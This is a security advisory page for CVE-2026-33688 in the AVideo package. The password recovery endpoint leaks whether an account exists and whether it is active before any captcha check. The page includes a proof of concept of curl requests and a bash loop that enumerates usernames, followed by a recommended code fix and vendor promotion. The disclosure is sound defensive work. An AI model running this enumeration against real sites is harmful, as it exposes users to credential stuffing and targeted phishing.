Your RSA-2048 keys break in 2030. Find every one of them before attackers do.
🐘 Packagist

GHSA-m99f-mmvg-3xmx

MEDIUM

AVideo has Pre-Captcha User Enumeration and Account Status Disclosure in Password Recovery Endpoint

Also known asCVE-2026-33688
Published
Mar 25, 2026
Updated
Mar 25, 2026
Affected
1 pkg
Patched
None yet
Exploits
None indexed

EPSS Exploitation Probability

via FIRST.org ↗
0.3%probability of exploitation in next 30 days
Lower Risk19th percentile+0.19%
0.00%0.26%0.52%0.78%0.1%0.1%0.1%0.3%Apr 26Jun 26Jun 26

EPSS (Exploit Prediction Scoring System) is a daily probability model maintained by FIRST.org. It estimates the likelihood a CVE will be exploited in production environments within the next 30 days, derived from real-world threat intelligence signals.

Blast Radius

1 pkg affected
🐘wwbn/avideo

Real-time download stats are indexed for npm and PyPI packages. This vulnerability affects Packagist packages — download data is not available via public APIs for these ecosystems.

Description

Summary

The password recovery endpoint at objects/userRecoverPass.php performs user existence and account status checks before validating the captcha. This allows an unauthenticated attacker to enumerate valid usernames and determine whether accounts are active, inactive, or banned — at scale and without solving any captcha — by observing three distinct JSON error responses.

Details

In objects/userRecoverPass.php, the request flow is:

  1. Line 11 — A User object is instantiated from unsanitized $_REQUEST['user'] with no authentication:
$user = new User(0, $_REQUEST['user'], false);
  1. Lines 27-29 — If the user does not exist, a distinct error is returned immediately:
if (empty($user->getStatus())) {
    $obj->error = __("User not found");
    die(json_encode($obj));
}
  1. Lines 31-33 — If the user exists but is not active, a different distinct error is returned:
if ($user->getStatus() !== 'a') {
    $obj->error = __("The user is not active");
    die(json_encode($obj));
}
  1. Lines 37-41 — Captcha validation only occurs after both user enumeration checks:
if (empty($_REQUEST['captcha'])) {
    $obj->error = __("Captcha is empty");
} else {
    require_once 'captcha.php';
    $valid = Captcha::validation($_REQUEST['captcha']);

This ordering creates a reliable oracle: requests that hit the captcha check confirm the user exists and is active, while the two earlier error messages reveal non-existence or inactive status — all without requiring a valid captcha.

By contrast, the registration endpoint (objects/userCreate.json.php) correctly validates the captcha at lines 32-42 before performing any user existence checks, confirming this ordering in the password recovery endpoint is a bug.

No rate limiting (rateLimitByIP) or brute force protection (bruteForceBlock) is applied to this endpoint. The framework's session-based DDOS protection is trivially bypassed by omitting cookies (each request gets a fresh session).

PoC

# 1. Test a non-existent user — returns "User not found" without captcha
curl -s -X POST 'http://localhost/AVideo/objects/userRecoverPass.php' \
  -d 'user=nonexistent_user_xyz&captcha=' | jq .error
# Response: "User not found"

# 2. Test a valid active user — passes user checks, hits captcha validation
curl -s -X POST 'http://localhost/AVideo/objects/userRecoverPass.php' \
  -d 'user=admin&captcha=' | jq .error
# Response: "Captcha is empty"

# 3. Test an inactive/banned user (if one exists) — returns distinct status message
curl -s -X POST 'http://localhost/AVideo/objects/userRecoverPass.php' \
  -d 'user=banned_user&captcha=' | jq .error
# Response: "The user is not active"

# 4. Bulk enumeration script — no captcha solving required
for user in admin root test user1 user2 moderator editor; do
  result=$(curl -s -X POST 'http://localhost/AVideo/objects/userRecoverPass.php' \
    -d "user=${user}&captcha=")
  error=$(echo "$result" | jq -r .error)
  if [ "$error" = "Captcha is empty" ]; then
    echo "[ACTIVE] $user"
  elif [ "$error" = "The user is not active" ]; then
    echo "[INACTIVE] $user"
  else
    echo "[NOT FOUND] $user"
  fi
done

Impact

  • Username enumeration: Attackers can determine which usernames are registered on the platform without any captcha or authentication barrier.
  • Account status disclosure: Attackers can distinguish between active, inactive, and non-existent accounts, revealing moderation/ban status.
  • Credential stuffing enablement: Confirmed valid usernames can be used in targeted password brute-force or credential stuffing attacks against the login endpoint.
  • Phishing: Knowledge of valid active accounts enables targeted social engineering attacks against real users.
  • No throttling: The absence of rate limiting on this endpoint allows high-speed automated enumeration.

Recommended Fix

Move the captcha validation before the user existence checks, and return a generic message regardless of user status:

// In objects/userRecoverPass.php, replace lines 26-41 with:

    header('Content-Type: application/json');

    // Validate captcha FIRST, before any user lookups
    if (empty($_REQUEST['captcha'])) {
        $obj->error = __("Captcha is empty");
        die(json_encode($obj));
    }
    require_once 'captcha.php';
    $valid = Captcha::validation($_REQUEST['captcha']);
    if (!$valid) {
        $obj->error = __("Your code is not valid");
        $obj->reloadCaptcha = true;
        die(json_encode($obj));
    }

    // After captcha passes, check user — but use generic message
    if (empty($user->getStatus()) || $user->getStatus() !== 'a' || empty($user->getEmail())) {
        // Generic message — do not reveal whether user exists or is active
        $obj->success = __("If this account exists, a recovery email has been sent");
        die(json_encode($obj));
    }

    // Proceed with actual password recovery...
    $recoverPass = $user->setRecoverPass();

Additionally, consider adding rateLimitByIP() to this endpoint as defense-in-depth.

Affected Packages

1 total
EcosystemPackageVulnerable rangeFix
🐘Packagistwwbn/avideoall versionsNo fix

Detection & mitigation playbook

Open-source dependency
  1. Detect

    Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for wwbn/avideo. O3's reachability analysis confirms whether the vulnerable code path is actually invoked in your application, so you act on real exposure instead of every transitive match.

  2. Remediation status

    No patched version of wwbn/avideo has shipped for GHSA-m99f-mmvg-3xmx yet. Where your build allows, override or pin the dependency away from the vulnerable range, and apply any maintainer-recommended mitigation.

  3. Mitigate without a patch

    If you can't upgrade right away: gate or disable the affected feature, validate untrusted input at the boundary, and avoid passing attacker-controlled data into the vulnerable path. O3's runtime protection blocks exploitation in production as an interim safeguard until the upgrade lands.

  4. How O3 protects you

    O3 pinpoints whether GHSA-m99f-mmvg-3xmx is reachable in your code and exactly where to fix it, then blocks exploitation in production at runtime until the patched version is deployed.

Tailored to GHSA-m99f-mmvg-3xmx. Runtime protection reduces exposure until a permanent patch is applied and verified — it complements patching, it doesn't replace it.

Frequently Asked Questions

## Summary The password recovery endpoint at `objects/userRecoverPass.php` performs user existence and account status checks **before** validating the captcha. This allows an unauthenticated attacker to enumerate valid usernames and determine whether accounts are active, inactive, or banned — at scale and without solving any captcha — by observing three distinct JSON error responses. ## Details In `objects/userRecoverPass.php`, the request flow is: 1. **Line 11** — A `User` object is instantiated from unsanitized `$_REQUEST['user']` with no authentication: ```php $user = new User(0, $_REQU
O3 Security · Impact-Aware SCA

Is GHSA-m99f-mmvg-3xmx in your dependencies?

O3 detects GHSA-m99f-mmvg-3xmx across Packagist dependencies and uses function-level reachability to confirm whether the vulnerable code path is actually reachable — not just present. No false positives.